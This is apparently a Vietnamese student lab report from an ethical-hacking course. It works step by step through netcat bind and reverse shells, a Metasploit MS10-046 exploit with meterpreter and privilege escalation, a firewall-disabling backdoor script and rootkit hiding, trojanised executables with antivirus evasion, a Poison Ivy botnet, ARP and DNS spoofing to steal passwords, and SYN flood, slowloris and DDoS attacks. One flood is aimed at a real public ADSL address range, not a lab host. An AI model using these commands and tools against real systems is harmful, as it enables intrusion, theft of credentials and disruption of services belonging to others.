    Đề Tài :SysTem Hacking 14 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 3.3.1 Sử dụng Netcat Đầu tiên ta kiểm tra giao diện dòng lệnh của netcat “C:nc>nc.exe –h ” Cấu hình netcat listen ở port 4444 trên máy Window “C:netcat>nc.exe -lvp 4444” -l: lắng nghe trên IP -v: verbose (hiển thị chi tiết thông tin kết nối) -p: port lắng nghe Sau khi cấu hình xong ta có thể kiểm tra trạng thái kết nối tại máy Window “C:> netstat –ano” =>kiếm dòng hiện thị LISTEN ở port 4444 Từ một máy Window hoặc Linux sử dụng chương trình netcat kết nối vào IP đang Listen ở port 4444 :E:netcat>nc.exe -v -n 172.16.30.42 4444172.16.30.42 la IP cua may cau hinh netcat listen o port 4444 -v: verbose -n: bo qua tien trinh DNS lookup Ta thử kiểm tra bằng cách nhập 1 số ký tự trên cả 1 màn hình thì thông điệp này sẽ được gửi đến máy còn lại Sử dụng Netcat để truyền file giữa 2 máy o Victim:C:netcat>nc.exe -lvp 4444 < password.txt o Attacker :E:netcat>nc.exe -v -n 172.16.30.42 4444 > 1111.txt=> file password.txt được truyền qua máy attacker và được rename thành 1111.txt Sử dụng Netcat làm backdoor o Victim: C:netcat>nc.exe -lvp 4444 -e cmd.exe -e: thuc thi chuong trinh cmd.exe khi co ket noi di vao o Attacker thực hiện câu lệnh bên dưới kết nối đến PC 172.16.30.42 và có được màn hình cmd.exe trên máy windowE:netcat>nc.exe -v -n 172.16.30.42 4444 Sử dụng netcat làm reverse backdoor o Attacker: ta chỉ cần cấu hình netcat listen ở 1 port nào đóE:netcat>nc.exe - lvp 5555
  • 22.
    Đề Tài :SysTem Hacking 15 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Victim: chủ động kết nối đến IP của máy attacker ở port 5555 C:netcat>nc.exe -v 172.16.30.39 5555 -e cmd.exe 3.4 System Hacking Mô hình như sau : Mục đích bài lab: ta sẽ thử thực hiện tấn công vào 1 máy Window XP (victim), sau đó thực hiện upload Netcat Backdoor để điều khiển victim, tiếp tục ta sửdụng công cụ Rootkit để ẩn đi process của netcat Máy attacker sử dụng chương trình Metasploit đã được cài đặt sẵn. 3.4.1 Chuẩn bị Metasploit Dùng lỗi shortcut Ms10-046 để khai thác lỗi, ta sẽ thực hiện như sau:root@bt:/pentest/exploits/framework3# msfconsole msf>use exploit/windows/browser/ms10_046_shortcut_icon_dllloader msf>set payload windows/meterpreter/reverse_tcp msf exploit(ms10_046_shortcut_icon_dllloader) >set LHOST 192.168.1.10 LHOST => 192.168.1.10 msf exploit(ms10_046_shortcut_icon_dllloader) >set SRVHOST 192.168.1.10 msf exploit(ms10_046_shortcut_icon_dllloader) >exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.10:4444 [*] Send vulnerable clients to 192.168.1.10EPzSUxdEj. [*] Or, get clients to save and render the icon of http://<your host>/<anything>.lnk
  • 23.
    Đề Tài :SysTem Hacking 16 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng [*] Using URL: http://192.168.1.10:80/ [*] Server started. Để client connect vào server 192.168.1.0. Ta sẽ sử dụng DNS spoofing 3.4.2 Cấu hình Ettercap DNS Spoofing Ta cấu hình file etter.dns (/usr/share/ettercap/etter.dns) với IP của trang www.google.com là IP của attacker 192.168.1.10 bằng cách thêm vào 2 dòng sau www.google.com A 192.168.1.10 www.google.com PTR 192.168.1.10 Thực hiện quá trình dns spoofing :Ettercap -T -q –M arp:remote –P dns_spoof –i eth0 /192.168.1.11/ // Tại máy client nhập vào trang web www.google.com và hiện ra màn hình giống như bên dưới 3.4.3 Kiểm tra metasploit Metasploit trả ra cho ta các dòng log như bên dưới msf exploit(ms10_046_shortcut_icon_dllloader) > [*] Sending UNC redirect to 192.168.1.11:1655 ... [*] Sending UNC redirect to 192.168.1.11:1655 ... [*] Responding to WebDAV OPTIONS request from 192.168.1.11:1660
  • 24.
    Đề Tài :SysTem Hacking 17 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj [*] Sending 301 for /EPzSUxdEj ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/ [*] Sending directory multistatus for /EPzSUxdEj/ ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj [*] Sending 301 for /EPzSUxdEj ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/ [*] Sending directory multistatus for /EPzSUxdEj/ ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj [*] Sending 301 for /EPzSUxdEj ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1660 /EPzSUxdEj/ [*] Sending directory multistatus for /EPzSUxdEj/ ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1661 /EPzSUxdEj [*] Sending 301 for /EPzSUxdEj ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1661 /EPzSUxdEj/ [*] Sending directory multistatus for /EPzSUxdEj/ ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj [*] Sending 301 for /EPzSUxdEj ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj/
  • 25.
    Đề Tài :SysTem Hacking 18 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng [*] Sending directory multistatus for /EPzSUxdEj/ ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj/desktop.ini [*] Sending 404 for /EPzSUxdEj/desktop.ini ... [*] Sending LNK file to 192.168.1.11:1663 ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj/vncuNN.dll.manifest [*] Sending 404 for /EPzSUxdEj/vncuNN.dll.manifest ... [*] Sending DLL payload 192.168.1.11:1663 ... [*] Received WebDAV PROPFIND request from 192.168.1.11:1663 /EPzSUxdEj/vncuNN.dll.123.Manifest [*] Sending 404 for /EPzSUxdEj/vncuNN.dll.123.Manifest ... [*] Sending stage (752128 bytes) to 192.168.1.11 [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.11:1664) at 2011-07-20 10:22:16 +0700 msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- -----1 meterpreter x86/win32 NHANLD-XPnhanld@ NHANLD-XP 192.168.1.10:4444 -> 192.168.1.11:1664 msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -i 1 [*] Starting interaction with 1... Kiểm tra một số thông tin của máy victim và nâng quyền meterpreter>getuid Server username: NHANLD-XPnhanld
  • 26.
    Đề Tài :SysTem Hacking 19 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng meterpreter>getprivs ====================================================== Enabled Process Privileges ====================================================== SeDebugPrivilege SeIncreaseQuotaPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeProfileSingleProcessPrivilege SeIncreaseBasePriorityPrivilege SeCreatePagefilePrivilege SeBackupPrivilege SeRestorePrivilege SeShutdownPrivilege SeSystemEnvironmentPrivilege SeChangeNotifyPrivilege SeRemoteShutdownPrivilege SeUndockPrivilege SeManageVolumePrivilege meterpreter>getsystem ...got system (via technique 1). meterpreter>getuid Server username: NT AUTHORITYSYSTEM
  • 27.
    Đề Tài :SysTem Hacking 20 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkit Ta chuẩn bi sẵn file nc.exe để upload. File này trong BT5 nằm tại vị trí /pentest/windows-binaries/tools meterpreter>pwd C:DOCUME~1nhanldLOCALS~1Temp meterpreter>cd C:WINDOWSHelp meterpreter>mkdir netcat Creating directory: netcat meterpreter> cd netcat meterpreter>pwd C:WINDOWSHelpnetcat meterpreter>upload /pentest/windows-binaries/tools/nc.exe . [*] uploading : /pentest/windows-binaries/tools/nc.exe -> . [*] uploaded : /pentest/windows-binaries/tools/nc.exe -> .nc.exe Ta sẽ tạo ra một file nc_scripts.bat có nội dung đơn giản như sau @echo off netsh firewall set opmode disable nc.exe -l -v -p 4444 -e cmd.exe Tạo ra một file nc_scripts.vbs có nội dung như sau Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "C:WINDOWSHelpnetcatnc_scripts.bat" & Chr(34), 0 Set WshShell = Nothing Upload 2 file này vào máy victim meterpreter>upload /root/Desktop/nc_scripts.bat . [*] uploading : /root/Desktop/nc_scripts.bat -> .
  • 28.
    Đề Tài :SysTem Hacking 21 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng [*] uploaded : /root/Desktop/nc_scripts.bat -> .nc_scripts.bat meterpreter>upload /root/Desktop/nc_scripts.vbs . [*] uploading : /root/Desktop/nc_scripts.vbs -> . [*] uploaded : /root/Desktop/nc_scripts.vbs -> .nc_scripts.vbs Ta sẽ sử dụng metasploit upload 2 file này folder vào C:WINDOWSHelp Upload rootkit hxdef100: bao gồm một file cấu hình và một file thực thi o file cấu hình để ẩn process của chương trình nc.exe và file thực thi của chương trình meterpreter>upload /root/Desktop/hxdef100.ini . [*] uploading : /root/Desktop/hxdef100.ini -> . [*] uploaded : /root/Desktop/hxdef100.ini -> .hxdef100.ini meterpreter>upload /root/Desktop/hxdef100.exe . [*] uploading : /root/Desktop/hxdef100.exe -> . [*] uploaded : /root/Desktop/hxdef100.exe -> .hxdef100.exe Start netcat backdoor thông qua nc_scripts.vbs ( start 2 chương trình là nc.exe và cmd.exe ) và rootkit meterpreter>shell Process 2868 created. Channel 28 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:WINDOWSHelpnetcat>start nc_scripts.vbs start nc_scripts.vbs Kiểm tra port và các tiến trình đang hoạt động trong máy bằng lệnh netstat –ano và tasklist thì ta thấy port và dịch vụ bất thường
  • 29.
    Đề Tài :SysTem Hacking 22 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Khởi động rootkit để ẩn process nc.exe và ẩn file thực thi của chương trình netcat C:WINDOWSHelpnetcat>start hxdef100.exe start hxdef100.exe Ta kiểm tra lại process thì thấy tiến trình nc.exe đã được ẩn đi. Attacker sử dụng chương trình telnet hoặc chương trình netcat để connect điều khiển máy attacker root@bt:/opt/framework3/msf3# telnet 192.168.1.11 4444 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
  • 30.
    Đề Tài :SysTem Hacking 23 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng C:WINDOWSHelpnetcat> C:WINDOWSHelpnetcat> 3.4.5 Tạo ra backdoor và upload bằng metasploit Ta chuẩn bị một file để ghép backdoor vào. Ví dụ ta sử dụng chương trình notepad.exe Sử dụng câu lệnh sau để tạo ra backdoor root@bt:/opt/framework3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe –x /root/Desktop/NOTEPAD.EXE -o /root/Desktop/backdoor_notepad.exe [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) Trong metepreter ta có thể sử dụng câu lệnh run scheduleme để upload backdoor và cho backdoor startup với hệ thống. meterpreter>run scheduleme –h o Để hiển thị các giúp đỡ của câu lệnh meterpreter>run scheduleme -e /root/Desktop/backdoor_notepad.exe -s [*] Uploading /root/Desktop/backdoor_notepad.exe.... [*] /root/Desktop/backdoor_notepad.exe uploaded! [*] Scheduling command C:DOCUME~1nhanldLOCALS~1Tempsvhost72.exe to run startup..... [*] The scheduled task has been successfully created [*] For cleanup run schtasks /delete /tn syscheck15 /F Lúc này backdoor notepad đã được kích hoạt, ta tiếp tục sử dụng tính năng multi/handler để chờ đợi kết nối của victim
  • 31.
    Đề Tài :SysTem Hacking 24 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng msf exploit(ms10_046_shortcut_icon_dllloader) >use exploit/multi/handler msf exploit(handler) >set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) >set LHOST 192.168.1.10 msf exploit(handler) >set LPORT 4455 LPORT => 4455 msf exploit(handler) >exploit -j [*] Exploit running as background job. Restart lại máy victim, lúc này kết nối mà ta đã sử dụng thông qua lỗi ms10-046 đã bị mất. Sau đó victim tự động tạo ra reverser connection đến máy victim. msf exploit(handler) > [*] Sending stage (752128 bytes) to 192.168.1.11 [*] Meterpreter session 3 opened (192.168.1.10:4455 -> 192.168.1.11:1025) at 2011-07-20 12:08:20 +0700 Nếu như ta kiểm tra dịch vụ và các kết nối của máy client thì ta sẽ thấy điều bất thường ở đây là một dịch vụ lạ xuất hiện
  • 32.
    Đề Tài :SysTem Hacking 25 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 4: Virus Worm Trojan 4.1 By Pass Anti Virus Hầu hết các chương trình chống virus đều nhận dạng file là chương trình độc hại dựa trên signature database được update thường xuyên Các công cụ cần thiết cho bài lab. Các công cụ này ta cài đặt trong 1 máy tính o Dsplit: được sử dụng để cắt các file thành nhiều phần với độ dài tăng dần. o Hex Editor: để sử dụng phân tích chương trình và thay đổi các giá trịtrong file o Chương trình scan virus để kiểm tra. Trong bài lab này ta sẽ sử dụng chương trình Avast o 1 File được các chương AV cảnh báo. Trong bài lab ta sẽ sử dụng chương trình “Ice Gold Freezer” o Các công cụ scan virus online ví dụ như trang web www.virustotal.com Các bƣớc thực hiện : Ta thử scan file “Ice Gold Freezer” bằng trang web www.virustotal.com thì 24/43 chương trình nhận dạng đây là Malware Copy source “Ice Gold Freezer” vào folder chứa source chương trình Dsplit ta thực hiện quá trình cắt file thành các đoạn và sử dụng Avast scan các file này. Thông qua quá trình này ta sẽ ước lượng được signature nhận virus sẽnằm ở phần nào trong file. Ta sử dụng Avast scan tất cả các file đã được cắt ra và xác định file nào bắt đầu từ byte nào thì file bị nhận là Virus Theo kết quả màn hình ở trên thì từ byte thứ 102000 thì chương trình được nhận là virus. Ta xóa hết các file đã được cắt nhỏ. Tiếp tục ta sẽ kiểm tra xem từ byte 101000 đến 102000 thì như thếnào ?Ta sử dụng khoảng tăng là 100 byte. Ta scan các file vừa được tạo ra bằng Avast một lần nữa Kết quả thu được là từ file 101900 đến 102000 được nhận là virus. Ta tiếp tục phân đoạn từ 101800 đến 101900 với khoảng tăng10 byte và scan lại. Kết quả thu được là từ file 101820 sẽ được nhận là virus.
  • 33.
    Đề Tài :SysTem Hacking 26 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Ta sẽ tiếp tục phân tích từ file 101810 đến 101820 với khoảng tăng là 1 byte như thế nào ? Đến đây thì ta đã xác định được byte 101819 được xác định là có virus Ta sẽ thay đổi giá trị 101819 thành một giá trị khác. Ở đây ta sẽ đánh thêm vào 2 lần phím spacebar. Ta sẽ thấy xuất hiện thêm 2 giá trị hexa là 20 20 trên màn hình. Sau đó ta thử upload chương trình lên virustotal và kiểm tra kết quả scan ta được tỷ lệ 7/42 AV nhận đây là virus 4.2 Tạo Trojan bằng Metasploit Mục đích bài lab: sử dụng công cụ msfpayload và msfencode có trong Metasploit để tạo ra file Trojan. Ta chuẩn bị file thực thi exe nào đó. Ví dụ như ở đây ta sử dụng chương trình putty.exe Sử dụng msfpayload để tạo backdoor. Sau đó ta sử dụng msfencode để by pass anti virus Sơ đồ : Các bƣớc thực hiện: Đầu tiên ta copy file putty.exe vào trong máy backtrack 5. Ta thực hiện câu lệnh bên dưới với giá trị LHOST là IP của attacker, LPORT là port mà máy attacker sử dụng để quản lý kết nối. “ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.234 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe - x /root/Desktop/putty.exe -o /root/Desktop/putty_backdoor.exe “ Sau khi tạo xong backdoor bước kế tiếp là làm sao gửi file backdoor này đến victim. Khởi động dịch vụ apache 2 và kiểm tra download file Sau khi ta đã chuẩn bị xong mọi thứ ta sử dụng tính năng “exploit/multi/handler” để quản lý các kết nối từ máy victim đến máy attacker. msf>use exploit/multi/handler
  • 34.
    Đề Tài :SysTem Hacking 27 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng msf exploit(handler) >set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) >set LHOST 192.168.1.234 msf exploit(handler) >set LPORT 4455 LPORT => 4455 msf exploit(handler) >exploit –j Victim thực thi file putty_backdoor.exe thì tại máy attacker sẽ có được 1 kết nối điều khiển. Tiếp tục ta nhập vào câu lệnh “run post/windows/escalate/bypassuac” thì metasploit sẽ tạo ra 1 sessions mới. Ta kết nối vào sessions số 5 bằng cách nhập vào câu lệnh “background” và “sessions –l” và “sessions –i 5” .Thông qua kết nối mới ta nhập vào các câu lệnh getprivs, getsystem, getuid đểta có quyền system với máy victim.
  • 35.
    Đề Tài :SysTem Hacking 28 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 5 : DoS DdoS 5.1 Ping of Dealth Attack Sơ đồ: Trong hệ điều hành Window để ta có thể sử dụng lệnh “ping IP -t -l 5000” đểping một destination một cách liên tục Nếu như bạn muốn mở cùng một lúc 20 cửa sổ Window ping thì ta có thể kết hợp với câu lệnh For như sau “ For /L %i in (1,1,20) do start ping 192.168.1.254 -t -l 36000 ” như vậy chương trình sẽ mở ra cùng một lúc 20 cửa sổ window ping liên tục đến IP 192.168.1.254 5.2 Syn Flood Attack Sơ đồ : Các bƣớc thực hiện : Ta sẽ thử thực hiện SYN Flood Attack vào router ADSL. Đầu tiên ta xác định xem hiện tại đang có bao nhiêu router ADSL đang mở port 80 bằng công cụ Nmap Giả sử IP Public hiện thời của mình đang là 118.68.226.103, ta sử dụng câu lệnh “nmap –sS –p 80 118.68.226.1/24 ” để scan . Ta thực hiện scan và xuất ra file là scan_adsl.txt Kiểm tra nội dung file scan_adsl.txt và chọn ra một IP để ta làm lab tiếp tục - Ví dụ trong 1 đoạn file scan_adsl.txt có nội dung như bên dưới nghĩa là IP 118.68.226.7 đang mở port 80
  • 36.
    Đề Tài :SysTem Hacking 29 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Nmap scan report for adsl-dynamic-pool-xxx.hcm.fpt.vn (118.68.226.7) Host is up (0.037s latency). PORT STATE SERVICE 80/tcp open http Ta vào trình duyệt web để kiểm tra IP trang web của IP này và thử nhập vào username: admin và password admin mặc định Ta sẽ thực hiện syn flood attack vào port 80 trên router ADSL này bằng công cụ syn-floodalpha1.tar.gz. Ta thực hiện quá trình cài đặt giống như bên dưới. root@bt:~/Desktop# ls scan_adsl.txt syn-flood-alpha1.tar.gz root@bt:~/Desktop# tar -xvf syn-flood-alpha1.tar.gz syn-flood/ syn-flood/Makefile syn-flood/gpl.txt syn-flood/syn-flood.cpp root@bt:~/Desktop# cd syn-flood root@bt:~/Desktop/syn-flood# ls gpl.txt Makefile syn-flood.cpp root@bt:~/Desktop/syn-flood# make g++ -O2 -g -Wall -fmessage-length=0 -c -o syn-flood.o syn-flood.cpp g++ -o syn-flood syn-flood.o Thực hiện quá trình tấn công bằng câu lệnh bên dưới để gửi ra 100000 gói tin syn root@bt:~/Desktop/syn-flood# ./syn-flood Usage: ./syn-flood --ip IP --port PORT [verbose] -h --help Display this usage information. -i --ip Destination IP address. -p --port Destination port.
  • 37.
    Đề Tài :SysTem Hacking 30 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng -n --num Number of packets to send. -v --verbose Print verbose messages. root@bt:~/Desktop/syn-flood# ./syn-flood -i 118.68.226.7 -p 80 -n 1000000 Sent 1000000 packets. Ta sử dụng chương trình Wireshark để phân tích quá trình hoạt động của công cụ này thì thấy chương trình đã gửi ra 100000 gói tin TCP SYN đến victim và router adsl với IP 118.68.226.7 với các source IP là các IP giả khác nhau. 5.3 Sử Dụng Hping3 thực hiện Syn Flood Attack Sơ đồ: Máy victim có IP là 192.168.1.101/24 ( Window XP ) và máy attacker có IP là 192.168.1.100/24 ( Back Track 5 ) Các bƣớc thực hiện: Đầu tiên ta thực hiện quá trình scan các port đang open của Victim bằng công cụ Nmap root@bt:~# nmap -sS 192.168.1.101 PORT STATE SERVICE 139/tcp open netbios-ssn Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân 445/tcp open microsoft-ds MAC Address: 00:0C:29:9F:87:19 (VMware) Ta sử dụng hping3 SYN Flood vào port đang mở là 445
  • 38.
    Đề Tài :SysTem Hacking 31 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng root@bt:~#man hping3 => Kiểm tra các thông số của hping3 root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100 =>thực hiện SYN FLOOD vào victim có IP là 192.168.1.101 -a giả dạng IP 192.168.1.254 -p ở port 445 -S thực hiện Syn Flood attack -i --interval wait (uX for X microseconds, for example -i u1000) --fast alias for -i u10000 (10 packets for second) --faster alias for -i u1000 (100 packets for second) --flood sent packets as fast as possible. Don't show replies. root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100 –c 100000 -c nghĩa là count, ta sẽ gửi 100000 đến victim Tại máy Victim nếu như bị SYN Flood ta kiểm tra trạng thái kết nối bằng lệnh “netstat -ano” thì thấy xuất hiện rất nhiều kết nối SYN 5.4 PHP DoS Ta sẽ thực hiện upload source PHP DoS lên một Web Server, và sử dụng server này để tấn công một server khác. Đầu tiên ta thực hiện việc upload source vào chương trình PHP DoS vào Web Server
  • 39.
    Đề Tài :SysTem Hacking 32 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Restart lại dịch vụ apache Ta sử dụng trình duyệt web kết vào trang PHP DoS và thực hiện tấn công vào victim nào đó Sau khi attack xong thì chương trình sẽ thống kê lại cho ta số lượng gói tin. – Sử dụng wireshark để capture lại traffic thì ta sẽ có được hình như bên dưới. 5.5 Apache DoS Slowloris Slowrist ảnh hưởng đến Web Server Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer..còncác web server của Window IIS 6.0, IIS 7.0 thì không ảnh hưởng bởi công cụ này .
  • 40.
    Đề Tài :SysTem Hacking 33 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Download source code chương trình tại trang http://ha.ckers.org/slowloris/slowloris.pl và tạo thành file có tên là slowloris.pl Gán cho chương trình có quyền thực thi Kiểm tra xem chương trình slowloris để ước đoán giá trị timeout . Thực hiện DoS vào một victim bằng câu lệnh “perl ./slowloris.pl -dns www.abc.com -timeout 2000 -num 500 -tcpto 5”, ta nên xem thêm trong phần help của chương trình để biết thêm ý nghĩa của các biến 5.6 Sử Dụng Poison Ivy tạo Botnet Đầu tiên ta cần phải tạo ra một file Remote Access Trojan và gửi file này đến victim. Sau khi install, máy victim trở thành zombie bị điều khiển bởi attacker. Các bƣớc thực hiện : Decompress chương trình và thực thi file “Poison Ivy” Click “I Agree”, Sau đó chọn mục “New Server” Tiếp tục ta chọn tạo ra một New Profile Ta nhập vào các thông số: o IP của máy đóng vai trò là server để zombie connect về và port tương ứng. Mặc định chương trình dùng port 3460. Mặt khác ta có thể tạo ra nhiều profile khác nhau, mỗi profile tương ứng với 1 port trên máy attacker o Nhập vào mục ID: ví dụ là server_test o Password để đăng nhập có thể sử là password dạng static hoặc là sử dụng “dynamic key”
  • 41.
    Đề Tài :SysTem Hacking 34 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Tiếp tục click Next ở góc phải màn hình Tiếp tục chương trình sẽ chuyển qua mục “Install”. Ta nhập vào các thông số sau o HKLM/Run Name: o ActiveX Key Name o Copy File: ta nhập vào với tên có dạng là .exe hoặc là dạng .scr o Ta có thể chọn dạng Copy to Alternate Data Stream để ẩn file Click Next chương trình chuyển ở phần Advance. Ta có thể chọn các tính năng Key logger, Format dạng PE… Click Next chương trình chuyển qua mục “Build”, ta có thể chuyển icon của file zombie, Click Generate , xác định vị trí lưu trữ, tên file zombie… Ở vị trí máy attacker, ta sử dụng tính năng New Client để quản lý các kết nối từ các zombie, chọn vào tên Profile mà attacker đã tạo. Chương trình yêu cầu ta phải nhập vào PASSWORD hoặc là ta phải LOAD KEY tùy thuộc vào phương thức password cấu hình ở trên Tiếp tục ta thực hiện công việc phát tán file zombie dos_server.exe Sau khi client kích hoạt file dos_server.exe, ta kiểm tra các kết nối ta thấy xuất hiện một kết nối Ta Double-click vào dòng biểu thị cho client, để hiển thị đầy đủ các tác vụ mà attacker có thểlàm đối với zombie ( tùy thuộc vào cấu hình ban đầu ) 5.7 Dos và DdoS bằng công cụ Hyenae Download chương trình tại http://sourceforge.net/projects/hyenae/files/ Chương trình này cho phép ta thực hiện tấn công DoS và DdoS. Để thực hiện DdoS ta cần phải install Hyenae daemon trên 1 máy, sau đó sử dụng Hyenae Front End ( giao diện ) hoặc Hyenae ( dòng lệnh để điều khiển ) Trong bài lab này ta sẽ install Hyenae daemon trên máy Window server 2003 (192.168.1.100/24) và sử dụng Window XP (192.168.1.101/24) làm client điều khiển. Đầu tiên ta cấu hình hyenaed kiểm tra các card trong máy tínhC:>hyenaed.exe -l o Để kiểm tra các card mạng được nhận trong chương trình o Giả sử chương trình nhận card Intel Pro/1000 MT được nhận là số 1
  • 42.
    Đề Tài :SysTem Hacking 35 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Cấu hình hyenaed.exe lắng nghe trên máy tính server 2003 C:>hyenaed.exe -I 1 -a 192.168.1.100 –p 8888 –u 10000 –k 123abc!!! -I: card kết nối vào -a: bind với IP của máy hoạt động chương trình hyenaed -p: port -u: số lượng packet gửi cho mỗi lần kết nối Sử dụng hyenae.exe dạng front end để kết nối. Tuy nhiên chương trình sẽ bị lỗi. Ta sử dụng câu lệnh bên dưới và thực thi ở giao diện dòng lệnh Chú ý: thêm vào dấu “+” kết nối giữa 192.168.1.15@8888+123abc!!!
  • 43.
    Đề Tài :SysTem Hacking 36 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 6 : Sniffer 6.1 Cain Abel ARP Poisoning PC A:boot vào Windows 2003 Server, cài đặt dịch vụ ftpserver PC C:boot vào Windows 2003 Server Sơ đồ : ) bằng mật khẩu PC C dùng công cụ Cain & Abel thực hiện tấn công MITM nhằm đánh cắp mật khẩ Các bƣớc thực hiện o Bước 1: Cài đặt Cain& Abel. Trong quá trình cài đặt đồng thời cài đặt Winpcap đi kèm theo. Chương trình Winpcap được sử dụng để chuyển card mạng sang promicious mode o Bước 2: Từ menu chọn Configure/Sniffer chọn card mạng đang sử dụng nhấn OK o Bước 3: Nhấn nút Start Sniffer. Chuyển sang tab Sniffer/Host click chuột phải chọn Scan MAC Address xác định tất cả các máy trong cùng subnet o Bước 4: Chuyển sang tab Sniffer/APR nhấn nút Add to list biể dấu cộng màu xanh. Ở ô bên trái chọn máy A, ô bên phải chọn máy B Click vào Start APR o Bước 5: Chuyển sang tab Sniffer/Passwords theo dõi password ftp o Bước 6: Tại PC B đóng vai trò là victim, thực hiện ftp vào máy A, thì ở màn hình máy PC C ( attacker ) ta sẽ sniffer được thông số login của PC A
  • 44.
    Đề Tài :SysTem Hacking 37 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 6.2 Ettercap DNS Spoofing Tại máy Backtrack 5 thực hiện ARP Poisoning kết hợp với DNS spoofing. Khi máy victim nhập vào thông số www.athena.edu.vn thì sẽ hiện ra trang web giả. Sơ đồ Các bƣớc thực hiện : o Bước 1: Cấu hình Web Server trên hệ điều hành Back Track 5. Đầu tiên ta sẽstart dịch vụ apache2Ta vào trình duyệt web http://localhost để kiểm tra xem trang web đã dịch vụ đã được start o Bước 2: Ta cấu hình một trang web có nội dung đơn giản như sau <html> <head> <title>Athena Lab</title> <head> <body> <p align=”center”><b><i>ATHENA DNS SPOOFING LAB</b></i> <br><br><a href="http://s675.photobucket.com/albums/vv112/nhanld/?action=view& amp;current=Athena-ANS.jpg" target="_blank"><img src="http://i675.photobucket.com/albums/vv112/nhanld/Athena-ANS.jpg" border="0" alt="Photobucket"></a> </body> </html> o Bước 3: Restart lại service apache2
  • 45.
